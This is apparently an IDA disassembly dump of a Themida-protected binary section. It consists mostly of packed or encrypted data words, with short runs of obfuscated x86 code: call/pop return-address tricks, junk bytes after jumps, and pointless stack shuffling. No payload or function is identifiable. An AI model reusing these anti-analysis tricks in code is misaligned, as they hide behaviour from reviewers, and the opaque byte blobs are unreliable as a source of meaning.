		dd 0F7EF48CAh, 0E3451C8Eh, 19F10CAEh, 0A6CA7D3Fh, 3C6B6AB4h
		dd 27BD18EAh, 247466C0h, 0A1B40199h, 90456D0Ch,	0E84A5Fh
		dd 22E97B48h, 0C7000000h, 3E947Dh, 7 dup(0)
		dd 566E900h, 5510000h, 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h
		dd 0FF4E7452h, 0E9467555h, 0BF1F3584h, 0A7074B99h, 0BC1A2E81h
		dd 0A9094396h, 0D44EBFA0h, 9D16B8F2h, 6CBDDA84h, 0E06D51E0h
		dd 0E1745674h, 0B4DE38ADh, 66A7109Dh, 0B4BA1449h, 283109Dh
		dd 5DF0D263h, 0EA7C5EEFh, 0F5684764h, 109DB499h, 0D5DB47CAh
		dd 94A37627h, 51FD4D71h, 0A8378100h, 993EBB37h,	2222EEAEh
		dd 7E46E184h, 6443095Ch, 0E5FE93Eh, 3117458Fh, 260CAA9Eh
		dd 0A9A6B791h, 0E5182F7Eh, 0F2E26E2Ah, 0B9EFD4FAh, 85C71185h
		dd 164A1B37h, 20B35FDCh, 15A88A28h, 1AB7EA71h, 5DEC191Bh
		dd 462766F7h, 66E71627h, 0DF109EADh, 0E6B6D673h, 4EA34112h
		dd 84h,	1D6CBDF4h, 6EAFBE8Ah, 9F5E6149h, 0BCDDAC05h, 3A8CAEADh
		dd 2C4D0151h, 95F4FC1Dh, 109E5A37h, 0FAAD1EACh,	5A2EA8DDh
		dd 96F7109Eh, 9FAEA434h, 2EEE767Eh, 96A3414Fh, 1, 0E16DBDACh
		dd 72DC6E50h, 6FDB6D55h, 73C40665h, 97DB8CDDh, 70DE7022h
		dd 0FA4D7552h, 569EFF4Eh, 3C9BB104h, 0B570EA1Bh, 34A9109Dh
		dd 109DB4DAh, 0EAD562A3h, 0A17414A8h, 982041A5h, 28B59DBAh
		dd 0AC391D2Ch, 55FFC9A8h, 3D4EE0C2h, 2E3F5EEAh,	0B562BC31h
		dd 0EA2B109Dh, 7260248Bh, 75986DB8h, 0B5DC696Bh, 0FB1A2B27h
		dd 0A68CCB9Ah, 65E77A17h, 0F7D4B5D4h, 9E3D0C86h, 28B0D510h
		dd 1DBA9426h, 97A6A235h, 17FF6E76h, 70570079h, 0B6070614h
		dd 0BEC13196h, 3C89CB15h, 4598BA18h, 4B9CF544h,	0B4D53405h
		dd 0EE4284D5h, 0F7E40D5Ch, 2CA82D3h, 1BC9F388h,	0C3A3413Ah
		dd 85h,	2170BD97h, 0FEDDBC90h, 70C187DCh, 554FE4Eh, 6EC1E584h
		dd 0C20A8BDAh, 0BD8D1F23h, 42B73BACh, 0B3134190h, 451408Dh
		dd 1E203150h, 76D0058Dh, 0AF109DB5h, 9DB4E43Eh,	0DB68AD10h
		dd 6101A7F4h, 0F8991845h, 65A1C899h, 83FC23D4h,	9FF38DB8h
		dd 9F4D15DFh, 47A34105h, 4Eh, 0E470BD1Bh, 0FC54E3C7h, 45A42C6Dh
		dd 0CB9AAE01h, 0E4735788h, 912A646Ch, 0D53A54E1h, 0A9C3439Ch
		dd 5D456203h, 1A3880CCh, 51E0C2C0h, 9D33203h, 86D777C7h
		dd 9DB496F7h, 0EAD00F10h, 2968F95Bh, 0A8D4659Fh, 0A341EAE8h
		dd 150h, 6BBDE600h, 0AEDF00DFh,	109DB534h, 0CA86D5FDh
		dd 80C221ABh, 1742592Dh, 8ADE48C2h, 0C865AEBh, 0D971C36Fh
		dd 0E2A4BDF9h, 0F0C190C5h, 1372168Eh, 9FAD0042h, 0C6C8193Fh
		dd 8AEF3B97h, 71E16F0Ah, 0AD92A1E0h, 96F06328h,	4C2D4CD4h
		dd 81108CFDh, 49490A8Bh, 9DAF02B0h, 82CA1B3Dh, 42B394B3h
		dd 0A8B80C8h, 92C40C91h, 8CAE0D3Fh, 1FCE163Ch, 0B260D977h
		dd 358D2D1Fh, 5AAC2667h, 124CFh, 0BEA37300h, 377AEBC8h
		dd 0D0168EBCh, 79183A8Ah, 0F953E6E8h, 85D6FCD9h, 0BC1B7ACBh
		dd 8AA5CD49h, 6D77960Ah, 0E372DA6Bh, 6FFE4EDFh,	0E29029A7h
		dd 85DDFD4Fh, 5AAD1BB7h, 6B1Fh,	0E5C24300h, 9DB51670h
		dd 36BEDF10h, 6A5DD0Ah,	2E0FDE21h, 58600C66h, 8F700A7Bh
		dd 56796F62h, 9DF8AB27h, 4B4B7490h, 1144B5E6h, 0B382E382h
		dd 9EB0C842h, 2D15CA90h, 0E02AB29Eh, 7A429D6Bh,	0F9ACD060h
		dd 0BCAE236Bh, 916A3D6Ah, 103291F0h, 16438DBBh,	62F34BE7h
		dd 4DDEC4EFh, 0E92CB903h, 0F755E8CAh, 7ED0EFEDh, 6E000000h
		dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h,	0B382CA1Bh
		dd 8AA0C142h, 0FB90020Ah, 7956F647h, 0FB4AFE51h, 404529Ah
		dd 0A145E3DDh, 0F7DCDFBFh, 0C3113996h, 0E518458Fh, 10733BD0h
		dd 8BBF1139h, 32A3A441h, 46F26D8h, 7C0009h, 2E3D08A5h
		dd 0A0BF8EEFh, 25FDE3B7h, 154891C8h, 46F7FB9h, 40620382h
		dd 0B1D061EFh, 0B8942527h, 0C039B3A9h, 3695F1F8h, 5856B2C7h
		dd 4C6AAB0Ah, 2BEA3EEh,	0C011B2F2h, 775CBD8Ch, 42692E61h
		dd 6AEF7B11h, 0A605642Ah, 0B71B3184h, 0F4152424h, 8B7EEFECh
		dd 0F416877Dh, 0E6177FCEh, 0A83696Ch, 27B1D035h, 0C80A5BBAh
		dd 0D6F7D775h, 5DEC62F4h, 0FA2B43Ch, 0D667E97Ah, 4887D6B7h
		dd 0EA7BCD62h, 2CE221ABh, 6921F842h, 0E4715976h, 2F850170h
		dd 0CF4ED1F4h, 44EE8B05h, 454998F1h, 609FE869h,	0B41B7A6Fh
		dd 0B2EFE215h, 6E4D2CE5h, 6BB6AD49h, 0BD0727D7h, 2428B99Fh
		dd 0AEA23115h, 0B247C99Fh, 3F9FAD00h, 97C6C819h, 0D1F42E3Bh
		dd 51E08104h, 0A74h, 0E0C2DA00h, 0D031004Eh, 0BDDA8408h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 9668242Ch, 89000073h
		dd 8952241Ch, 4C281E2h,	83000000h, 148704EAh, 2C895C24h
		dd 3E946824h, 1C8B061Bh, 4C48324h, 4EC81h, 24890000h, 24048324h
		dd 27685D04h, 89000010h, 458F241Ch, 2434FF08h, 4C4815Dh
		dd 8B000000h, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 3D76E95Ch, 0E6F0FFF8h, 6A7D421h, 0F9C25AD5h,	4508DE84h
		dd 1B4372B8h, 0FFC50306h, 74092CE0h, 0B3241915h, 9CC3276Ah
		dd 0D68D8D1Ch, 0E8061B44h, 7, 126980C4h, 667E636Ah, 895EFB8Bh
		dd 131BBD8Dh, 919D0306h, 0C706130Eh, 1318DD85h,	6AE806h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 5F6275E5h, 9589F6F0h, 61301D1h, 0FE8B5360h
		dd 0FE95Bh, 200C0000h, 1FDCA64Ah, 0E58F1852h, 0C6FB5D5Fh
		dd 85C7613Fh, 6133055h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_60075B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60075B	proc near		; CODE XREF: Themida_:00600753p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_60075B	endp

; ---------------------------------------------------------------------------
		db 84h
; ---------------------------------------------------------------------------
		jmp	short loc_6007E3
; ---------------------------------------------------------------------------
		mov	[ebp+17h], dh
		db	36h
		mov	[ebp+61322C5h],	ecx
		push	dword ptr [ebp+6132331h]
		jge	loc_60078A
		mov	ebx, [ebp+61309D9h]


loc_60078A:				; CODE XREF: Themida_:0060077Ej
		mov	edi, [ebp+613104Dh]
		call	dword ptr [ebp+6131D89h]
		movsx	ebx, si
		push	0
		call	dword ptr [ebp+6130DA9h]
		mov	eax, eax
		jmp	short loc_600823
; ---------------------------------------------------------------------------
		db 0C4h, 95h, 0A7h
		dd 526115A1h, 2F7A24BAh, 31F130Ah, 3C58FF8h, 0B1C3801Eh
		dd 0A4A79217h, 637F70C0h, 1247837Dh, 0C2FA0048h, 2319B0D9h
		dd 41BEA01Eh, 9D328EF1h, 0E4FF84C8h, 1465FD33h
		db 16h,	0Eh, 0DBh
; ---------------------------------------------------------------------------


loc_6007E3:				; CODE XREF: Themida_:0060076Cj
		dec	esp
		cmp	ah, [eax]
		test	al, 0A5h
		cli
		mov	ch, 6Ah
		insb
; ---------------------------------------------------------------------------
		dd 1C4898Fh, 0B8BDC796h, 9E64C65Eh, 0D9EA0371h,	0DE43F608h
		dd 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh,	55C2DE3Eh
		dd 63A3D62Dh, 3154EDC1h, 18663711h
		db 43h,	98h, 0A8h
; ---------------------------------------------------------------------------


loc_600823:				; CODE XREF: Themida_:006007A3j
		lea	ecx, [ebp+61B4653h]
		jmp	loc_60083A
; ---------------------------------------------------------------------------
		dw 0F49Ah
		dd 0D7A3AA0Ah, 0CE4CCFFAh
		db 0BFh, 56h
; ---------------------------------------------------------------------------


loc_60083A:				; CODE XREF: Themida_:00600829j
		mov	[ebp+6131BBDh],	ecx
		mov	[ebp+6132425h],	edx
		mov	dword ptr [ebp+61318DDh], 5D40h
		push	0
		push	esi
		call	sub_60085B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60085B	proc near		; CODE XREF: Themida_:00600853p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_60085B	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 0F0A6A83h, 148Ch, 0FE900h, 0E6B70000h, 0C64B31CEh, 0EE36C38Fh
		dd 575B468Ch, 5585C7B4h, 61330h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1110C351h
		dd 0A8132D00h, 1B5FFF9h, 6A061321h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 49D4C352h
		dd 608FED0Ah, 0FDAF4CDEh, 24419D8Bh, 95FF0613h,	6131D89h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 76C35242h
		dd 6F8DC103h, 0C9C20AFCh, 12398589h, 6A0613h, 0DA995FFh
		dd 0C08B0613h, 7BB738EBh, 7F25A982h, 178BE8CEh,	4ABF12FCh
		dd 0C04FBCBBh, 94207635h, 0C74650FDh, 0E46196Dh, 0B5BACD8Bh
		dd 0B1B1752Ah, 0A0362D35h, 7CBD2366h, 0FB761E01h, 1F2A5721h
		dd 8D8D7BD0h, 61B47A3h,	0B058523h, 8D890613h, 6131BBDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9FC35545h
		dd 48032F29h, 8B66BB6Bh, 5800FFAh, 0BA000000h, 6615AE6h
		dd 18DD85C7h, 6E1C0613h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 858BE4C3h, 6132FA5h
		dd 305585C7h, 613h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 140424h, 57470000h, 800F5AC3h, 6,	5505CB81h
		dd 0B5FF6203h, 6130B01h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 80C35747h, 0E24F8EC4h, 0B85EC4D0h, 560CF251h
		dd 8E9h, 0BD47E400h, 7A356C38h,	8995FFF6h, 6A06131Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 9D3EC355h, 0CAFB617Ch, 0B71A89DDh, 29BD858Bh, 6A0613h
		dd 0DA995FFh, 0C08B0613h, 8CF12EEBh, 0D6EFD0F3h, 2B33EAFDh
		dd 94DE389Fh, 8D0BE5C3h, 6C85B121h, 66FBBDF0h, 95DC24C4h
		dd 0FD22188Fh, 0EB24B15Eh, 1FE0EDD5h, 96CACA76h, 2DE9h
		dd 858FDD00h, 6Ch, 9 dup(0)
		dd 91E90000h, 0CA000005h, 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h
		dd 0C7E9C987h, 0C9FCDA7Ah, 9CB80566h, 86CC1C3Eh, 9BAD0228h
		dd 88C4153Bh, 0CF3E212Ah, 16B8FD53h, 0BD59051Ch, 7251E06Ch
		dd 3187EB4Dh, 0A33491E3h, 1C7D9CADh, 213382D4h,	0C77AA582h
		dd 0EAE455CFh, 0D71773E2h, 0BDE0109Dh, 22082533h, 2436BE90h
		dd 3B1CBB91h, 9DD750CAh, 0ECF41910h, 4408597Dh,	7FF1D6F5h
		dd 97158D52h, 85D5F7C1h, 0ABE778C9h, 7BD1640Eh,	66E2755Bh
		dd 0EAE95E49h, 2B5CB627h, 0E025109Eh, 964F44BBh, 0B2F104Eh
		dd 40C190B8h, 47015678h, 0CE84D4F6h, 460E5B7Fh,	0C981D3F7h
		dd 0BE3B5778h, 0FA8F01D7h, 0E0F3624Dh, 258AC014h, 0BC04FBC6h
		dd 0A303459Ah, 0D630A582h, 9F109DC5h, 0D164767Eh, 0CAEDEA7Bh
		dd 9DC63F9Bh, 21850810h, 0D433BD91h, 109DC675h,	1F2E22B1h
		dd 95A4AC3Bh, 1D2C20B1h, 0FF7C16FCh, 0E861F116h, 41FBF4C4h
		dd 755CA3h, 0BD020000h,	2051E06Ch, 109DB4A4h, 76C78DDCh
		dd 0FA4B0154h, 76C987D8h, 71967FFCh, 744468E1h,	16A341EAh
		dd 96D78631h, 0FDF63412h, 0AF210323h, 118A0C1h,	1, 0E16DBD55h
		dd 72DC6E50h, 50DFE3h, 9EC19E31h, 9DB4F36Fh, 8F59BC10h
		dd 7CCE84F5h, 7BCEF4D2h, 0C392BC0Eh, 96F06542h,	5F109DB4h
		dd 5E7F5F3Eh, 470B5981h, 6CE697F6h, 35109DB5h, 0BD4E08D0h
		dd 0BB8F2170h, 0F211A5AAh, 0F31FEB07h, 6562F392h, 0D160EC3Dh
		dd 942628B0h, 65E3ABBAh, 0D10423D4h, 109EA675h,	0C315DF3Eh
		dd 32D51876h, 3C089237h, 0A5B7D5Dh, 0EED4F342h,	0B2982C59h
		dd 320362A3h, 75C709D3h, 7E5D84D5h, 0CB22C61h, 1A7B109Eh
		dd 192826B8h, 2596F0F8h, 41B029F7h, 79ECCBA3h, 109E071Dh
		dd 61DA7E6h, 61h, 0E470BD5Ch, 6BDF7155h, 700989DAh, 0C1E173C2h
		dd 0E46EBEE4h, 0AAAC3455h, 2B28391Bh, 3299B907h, 2D37F9D9h
		dd 292BB5CFh, 0BEA7B69Ah, 0D795B754h, 7FA341FAh, 45h, 0E470BDE3h
		dd 0B517655h, 65E9F998h, 83375B27h, 0C5F2151Ch,	101B77E6h
		dd 0A1E4109Eh, 0A6A23517h, 0AD1EB497h, 0CEEC68F5h, 0E16DBD74h
		dd 0B4A02150h, 7919109Dh, 0E5735700h, 3DFB636Dh, 0A5A341EAh
		dd 1, 0DF6BBDB9h, 0FE86DA00h, 44C58B4Fh, 52E382A7h, 5E860075h
		dd 0CE4F109Eh, 92BA0BAFh, 0EB7A42C3h, 67F656E7h, 0D88AFF71h
		dd 0C7E8C684h, 6AFB53E3h, 0E879D768h, 0B400C8A9h, 0D5FAD9ADh
		dd 1F2BE1D5h, 0F157EC90h, 0DA0B4890h, 168EB30Bh, 0C60859BCh
		dd 0D7F9D973h, 0C6E9C686h, 8AB13B97h, 3781040Ah, 5B84ABA8h
		dd 0AA20B571h, 0D68936F8h, 3859B46Dh, 0CF351B0h, 0A62C0A8Ah
		dd 80CC5D15h, 0A648FC23h, 0FCB3E6D0h, 0D7FB35D7h, 0E6EE1DE4h
		dd 63F3D7F8h, 0E6785AEBh, 0D9B8D968h, 5DEC68F5h, 0FA2B43Ch
		dd 972A2C3Dh, 0A13416B5h, 0BCC221ABh, 0B405BD4Eh, 0D2A23A98h
		dd 7A5AAD55h, 100h, 2BEA3E0h, 2729DBEBh, 0F654E812h, 26472667h
		dd 3484A689h, 6CE4F1Eh,	8EC72287h, 4897BB16h, 0B9D83908h
		dd 3913A6A8h, 0E093BC99h, 0F8B53C62h, 28B99B25h, 0A0311524h
		dd 5BF59DACh, 0E5A134DEh, 0D34D7CB7h, 409EFF83h, 0A1A93B1Fh
		dd 0B3F1BF17h, 42595AADh, 0FD000000h, 1670E5C2h, 0DF109DB5h
		dd 0DD0A36BEh, 5BD706A5h, 646F624Ch, 65E11021h,	67909DB6h
		dd 9BC49425h, 1995C8E7h, 92EF624Dh, 223321B0h, 0DCBD8B20h
		dd 8FEB8DF7h, 26AE7534h, 4B6644C9h, 68h, 0C8BEA3E7h, 0A18F7AEBh
		dd 1578168Eh, 9DAF0244h, 72EC213Eh, 3B0A8AA1h, 0E664F8DAh
		dd 0B0AE3657h, 741AAB8Fh, 8AA08501h, 0AECF4E0Ah, 64767E9Fh
		dd 9BEA7BD1h, 0A8AA038h, 32E05979h, 110DAD9Fh, 0DC11AED8h
		dd 1073DE57h, 0FE401174h, 0BC90A1ABh, 0FAEFB952h, 39BE2F8Ch
		dd 560A5897h, 91B69737h, 5D04E514h, 0E9737DDDh,	14FE0C2h
		dd 20667BB7h, 0F3CD5283h, 0ABEA1686h, 6B9ABD9Ah, 0A826CEFh
		dd 5F588FB8h, 3D958DACh, 0EF42945Ch, 0A5B7D5Dh,	0BF1C2C7Fh
		dd 823FD44Eh, 19789D0Ah, 153B948h, 4C9B73E8h, 7DBB1746h
		dd 1849FE3h, 0BDEAD160h, 65BD4BF4h, 3418A90Dh, 0C7DEF25h
		dd 2FCC4619h, 4573283h,	0F594F544h, 7ED2F8D5h, 0D41C7DCCh
		dd 4C1D2F82h, 61BD300Fh, 2A9FE370h, 7455C4EBh, 0C6A60CAFh
		dd 0C58BDCFEh, 577B6074h, 117B4505h, 0D577CA78h, 0FB65D1F6h
		dd 90E84EB3h, 95280A48h, 0AABA6B7h, 7000000h, 0FE4CE0C2h
		dd 72A62E6Fh, 0E571BDB0h, 6DDF7254h, 0E365FADCh, 72E07052h
		dd 252DFE3h, 92C20F33h,	20307FC3h, 0AF9B2D11h, 242ABC9Eh
		db 15h,	22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 53D4E15h
		add	edx, 0FAC2B1EFh
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 541807BBh
		add	edx, 0B2034052h
		push	edx
		sub	dword ptr [esp], 161755ACh
		pop	ebx
		add	ebx, 161755ACh
		pop	edx
		push	3AE1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		mov	eax, 8
		add	eax, edi
		push	ebx
		sub	dword ptr [esp], 15804862h
		pop	dword ptr [eax]
		add	dword ptr [eax], 15804862h
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0DCh
		dd 0CFF2D273h, 936EA5D4h, 0D5379631h, 1B4CF8B8h, 0FFC50306h
		dd 0D84943E0h, 0C8EFCD58h, 5362E26Eh, 2C49D616h, 23F10A67h
		dd 13736456h, 647A23Bh,	8D3FE069h, 5623FA10h, 0A245A237h
		dd 4479A672h, 0EFCFA443h, 0D974D11Ch, 560B077Eh, 0C957B3Ah
		dd 8B78B215h, 62191651h, 98972C13h, 1A0E335Fh, 0D937C50Eh
		dd 5CC7AF52h, 12BA5C60h, 2E498469h, 64D69356h, 11F5E74Eh
		dd 88AA2453h, 88F4D170h, 348B8764h, 3F472906h, 0DD33271Ah
		dd 4ADA9460h, 3CFBA52h,	0A28D8D44h, 8B061B4Eh, 13234D9Dh
		dd 0BD8D8906h, 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8DC3C356h, 0E906F149h
		dd 7, 1A79134Ch, 0C702A887h, 1318DD85h,	701406h, 39950100h
		dd 0C7061301h, 13305585h, 6, 91858B00h,	0FF06130Dh, 1331EDB5h
		dd 1BA6606h, 8995FF95h,	2306131Dh, 1309E5BDh, 0FF006A06h
		dd 130DA995h, 0EBC08B06h, 3C9D7E0Ch, 3E6C0B1Eh,	3E7C8A6h
		dd 1EE9C0h, 0F4B00000h,	50A9h, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_6016B2
; ---------------------------------------------------------------------------
		db 98h,	4Ah, 0Ch
		dd 143A8CAEh, 0A4094B6h, 1B3586ACh, 0C4895BBh, 5BB07FAEh
		dd 4268460Eh, 604260F2h, 7B5D7DCBh, 774462EAh, 2A92558h
		dd 1F7216B9h, 70E5C243h, 109DB516h, 2436BEDFh, 0ADAABB91h
		dd 0B4FF5B8Ah, 45C8109Dh, 0B49BF766h, 2164109Dh, 6928B597h
		dd 0DDE273D7h, 0EBE08538h, 0E382E3E5h, 4CDDC3h,	0CDBC0D31h
		dd 283D27Eh, 5EF0D263h,	61EFD3F0h, 972160F1h, 99B30648h
		dd 1C3686C8h, 2ECB454Dh, 4A1B3184h, 5999AACBh, 0AD9F32E0h
		dd 0B60A300Dh, 0AEA03294h, 64767E9Fh, 2A24B6CFh, 0A7A7371Bh
		dd 77167796h, 6EE07258h, 2836BEDFh, 3C9BAD02h, 0F070EA1Bh
		dd 0D439109Dh, 0DF352DEFh, 965E0C84h, 0ED65F3D7h, 0F157ECCEh
		dd 2A6478E7h, 0FA4EE191h, 0E963F6DCh, 4A82958h,	0B121109Eh
		dd 0BA24F418h, 678CA341h, 0B2000000h, 8B1D6CBDh, 71ED20BFh
		dd 3A109DB5h, 5AABBADBh, 109DB4FEh, 0D2032473h,	109DB578h
		dd 2F8F1641h, 2B0FAF75h, 7308824Ah, 416B8B49h, 133A3h
		dd 0BD070000h, 0FC891E6Dh, 3554E56Bh, 0A706F54h, 783E5AA4h
		dd 0B4064819h, 3887CB9Ah, 5C964918h, 0E8A333DFh, 2667F654h
		dd 0F0416747h, 76249296h, 553405AAh, 70BDDB75h,	547655E4h
		dd 9BFA4B01h, 9FAFFF51h, 173D8CCEh, 99AF0446h, 0D76549C8h
		dd 0A624EA7Bh, 50BA2015h, 9ABA07BBh, 89C3163Ch,	84296B8h
		dd 65D63039h, 41E86937h, 65D1A3h, 0BD650000h, 5BB72670h
		dd 24109DB5h, 8DB180E1h, 0AD3E0F3Bh, 8F1ED465h,	76C3E5C5h
		dd 0FC4B8FDEh, 2B443E91h, 0CD9EE5D1h, 2D3C5D3Ch, 0B31CA44h
		dd 0A3416B5Dh, 6805h, 70BD5900h, 0A9E0C7E4h, 0C9F5BABh
		dd 0F8A2FC71h, 2A6B109Dh, 0E0E2814Bh, 0FCDEFD4Bh, 6D5216Dh
		dd 6F3F6F43h, 2427C60Eh, 0D8651DAEh, 0BD045E7Ch, 0E0C2E16Dh
		dd 0D31004Eh, 44C594C0h, 0BD4C9B25h, 109DB55Ch,	13C435D5h
		dd 0A3B2A22Fh, 0B4D531A4h, 7F9E109Dh, 0D24CC11Eh, 9B109DB4h
		dd 2AEA727Ah, 92A341EAh, 1, 1C6BBDA8h, 52B382C8h, 93156D6Dh
		dd 7F1EB1BCh, 24C6F1EEh, 3763E8D5h, 0DE6F616Bh,	8709DF6Eh
		dd 5EEC40F2h, 5D294080h, 161E0F7Eh, 4ECF168Fh, 0FF8ADBFFh
		dd 4FCE9FAFh, 17AA902Eh, 77D52435h, 0AF0A8B14h,	75DB6C1Fh
		dd 75C4A5E4h, 3688FF51h, 0E3E87918h, 6A07ED0Dh,	6E207442h
		dd 18C7E8DDh, 1988E72Fh, 428A4A44h, 2E7F33C8h, 0D45F3458h
		dd 0D8B97319h, 0C785D8FAh, 88015476h, 0AA245935h, 730A8B22h
		dd 0A3E27312h, 0FD8B73C2h, 0C983D68Ch, 53E6CCE9h, 0A967EFF9h
		dd 115AAC84h, 10Ch, 0C8BEA325h,	0BC377AEBh, 4DD0168Eh
		dd 0C587DAFCh, 0DA72C3E5h, 93F6478Bh, 0E1F44341h, 700F5A10h
		dd 0A0C14011h, 0EA5FE991h, 7A7A538h, 0AD6BEDABh, 59555Ah
		dd 0A3E90000h, 9DB503BCh, 14AEDFFCh, 1D6F624Ch,	4D6A69F8h
		dd 9DB4BE18h, 0BE068790h, 9DB4D34Fh, 1E9BD590h,	56750D5Ah
		dd 4E025179h, 31ADE0FFh, 0FA909DB5h, 93F2FA9Bh,	0EF624C17h
		dd 1DEFD20h, 99C88CD9h,	109DB53Dh, 1F3D8706h, 65DC193Eh
		dd 163CC83Ch, 7E93CEh, 0A32F0000h, 246C02BEh, 0C1C819A8h
		dd 0B4EF68DAh, 5A3BC49Bh, 0BCFD087Dh, 0A7E6168Eh, 2B21B496h
		dd 3814A58Bh, 0B4082A29h, 7E46C796h, 8ABB8C0Fh,	34C5CD0Ah
		dd 81212B7Eh, 8D2A5C85h, 7400B258h, 9D2F1310h, 0CBEFCCADh
		dd 5B0AD27Ah, 0B02A5B7Ch, 79046F6Bh, 378ACC14h,	0DE104415h
		dd 4798BA6Dh, 0FD93809h, 0DB0ABEA3h, 46F6C7Fh, 7A4C548h
		dd 58B230D6h, 86D9010Ah, 0CA1273C2h, 80DAF81Dh,	9502BEA3h
		dd 0D1567331h, 9DBA1978h, 9DFFEE68h, 6598B710h,	109DFFE9h
		dd 0AA3253B2h, 459238ADh, 92F31687h, 1E2E7FC3h,	5479AC0h
		dd 0C5381734h, 0A82B149h, 9AE9F312h, 40141113h,	9E49C230h
		dd 89262CBCh, 0D00FFA54h, 7A42C3B3h, 68470558h,	5761F342h
		dd 46065779h, 5EF2D8F7h, 0B43C5DECh, 2E3F11A2h,	9443B83Ah
		dd 0AA321CAEh, 973715A8h, 1D2C20B1h, 340h, 0E17B9E00h
		dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh
		dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh,	12836822h
		dd 2C890000h, 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89522414h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 243C895Ch, 2CF96857h, 815F100Ah
		dd 0EEDE1EEFh, 8BFA8909h, 0C483243Ch, 3C8B5404h, 4C48324h
		dd 22BF5752h, 310CF10Ah, 5F04247Ch, 8108478Fh, 0A220877h
		dd 3C8B0CF1h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 2434FF5Ch, 4C4835Ah,	0F82D7BE9h
		db 0FFh, 7Ah
; ---------------------------------------------------------------------------


loc_6016B2:				; CODE XREF: Themida_:006011A0j
		mov	eax, 61B5353h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F0h
		dd 0E72D15Eh, 8D0F8507h, 0E60B6C2Eh, 642F1326h,	0BE06264Fh
		dd 3D58595Bh, 1717768Eh, 2E325DC7h, 0D55FB730h,	0B24619D6h
		dd 0E039312Ah, 0EA50B1EFh, 38532633h, 435C938Fh, 784003A2h
		dd 1D5FAA5Ah, 0B55741BCh, 0F3212AC5h, 2B3AC5CBh, 0DF6F9419h
		dd 11283305h, 0F540FF67h, 0C77C5239h, 5229F33Fh, 0D0316A7Ch
		dd 94077B3Fh, 6D1CFB3Dh, 0B8766418h, 6E5974D8h,	0EB08880Fh
		dd 10h,	3 dup(0)
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 3B01C352h, 1625BD83h, 75000613h
		dd 81BD8309h, 6132Ch, 53501974h, 2DB8C08Bh, 89000004h
		dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h,	132C81BDh
		dd 17740006h, 2DB85350h, 89000004h, 130D7D85h, 6C9D8D06h
		dd 0FF0615A6h, 0B585BD3h, 132129B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 836CBE85h
		dd 606037E4h, 8A18589h,	81660613h, 61EA24D2h, 95BA6661h
		dd 66C08BE5h, 66909EBAh, 8D8BD68Bh, 6131141h, 0AE9h, 0BE91E400h
		dd 5B193840h, 83036680h, 840F00F9h, 7Ah, 8B64D38Bh, 2C3Dh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 14E93C94h, 51000000h, 0E6E17FFEh, 5DA4A2C0h
		dd 2F299FA2h, 0BB6B4803h, 0BAE3DBFh, 33840FFFh,	0F000000h
		dd 3F8BF2BFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	43C35141h, 32E1DA65h, 0CA8153C0h, 57353B04h, 80AAF35Ah
